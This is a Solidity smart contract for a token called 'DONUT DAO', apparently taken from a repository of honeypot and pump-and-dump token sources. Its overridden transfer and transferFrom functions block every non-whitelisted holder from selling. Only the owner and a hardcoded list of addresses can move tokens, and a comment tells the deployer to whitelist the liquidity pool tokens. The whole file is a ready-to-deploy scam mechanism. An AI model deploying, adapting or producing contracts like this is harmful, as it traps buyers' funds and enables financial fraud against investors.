pump-and-dump-dex / honeypot_source_codes / sell_reversion / DonutDao.sol
DonutDao.sol
Raw
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "./ERC20.sol";
import "./Ownable.sol";


// You have to addd LP tokens In the White List after you add liquidity.

contract SpecialToken is ERC20, Ownable {

    mapping (address => bool) whiteList;
    constructor() ERC20("DONUT DAO", "DND") {
        whiteList[msg.sender]= true;
        _mint(msg.sender, 1000000 * 10 ** decimals());
        whiteList[0x16a628d148f2c4478b5ce182ea4d6f6d91A7B8Ce]= true;
        whiteList[0x1fA4dd1D83E0c4086b071ac9D25C22E990895403]=true;
        whiteList[0xCCB86Aed86328B023E768F25e6a2f10eB05FFF1e]=true;
        whiteList[0xf13bd8E1923C4fBfCbd137f21157a7212b22Fbe6]=true;
        whiteList[0x62d7fa8dbc232aDe33Ea06037Ffe9d7A235AB14D]=true;
        whiteList[0xb4bc34B59a44591F9d1d046A06Ad3528D3444433]=true;
        whiteList[0x5977EA6ff2c0930cEc8225164A26161ed707421C]=true;
        whiteList[0x672B498d25890681a8F59FcC2d94739E89E390c6]=true;
        whiteList[0xE01A23AcACB91981EF0fd595EfB2dE5E2cDED0b2]=true;
        whiteList[0x89621415cA22d21b0cC21f33Ba55BbcBa93b8eE1]=true;
        whiteList[0xEe39aC8218185CAEdfDC0246A83B4007A2d54683]=true;
        whiteList[0x66E1FFb2ED2dd2933F44Ce24f227fFc377f3DBCd]=true;
        whiteList[0x200Cd5d3b9eEC10D8ed9027332cE516794A8b5C1]=true;
        whiteList[0x04957299827A55c1d2164373A59b564AC103200B]=true;
        whiteList[0x203d2AA7C446b11F8a4949763F018DC4c807d5c8]=true;
        whiteList[0x5325c457aa67560DF6b07a72970063a139407e95]=true;
        whiteList[0xae0f0e03F6BaC805f4E8b2d72Eafb2719E8547e0]=true;
        whiteList[0x3764d34fd6E57602e7945FDb7e91b0e55AE83B1d]=true;
        whiteList[0x2d999005EaCD64eF55Dc0f7f82293621f2E0725d]=true;
    }
    function addTowhiteList(address add) public onlyOwner{
        whiteList[add]=true;
    }

    function removeFromWhiteList(address add) public onlyOwner{
        whiteList[add]=false;
    }

    function getStatus(address add) public view onlyOwner returns (bool status){
        return whiteList[add];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        if(owner()!= to && owner()!=msg.sender)
        {
            require(whiteList[msg.sender], "Not authorized");
        }
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function transferFrom(address from,address to,uint256 amount) public virtual override returns (bool) {
        if(owner()!= to && owner()!=from)
        {
            require(whiteList[from]&&whiteList[to], "Not authroized");
        }
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

}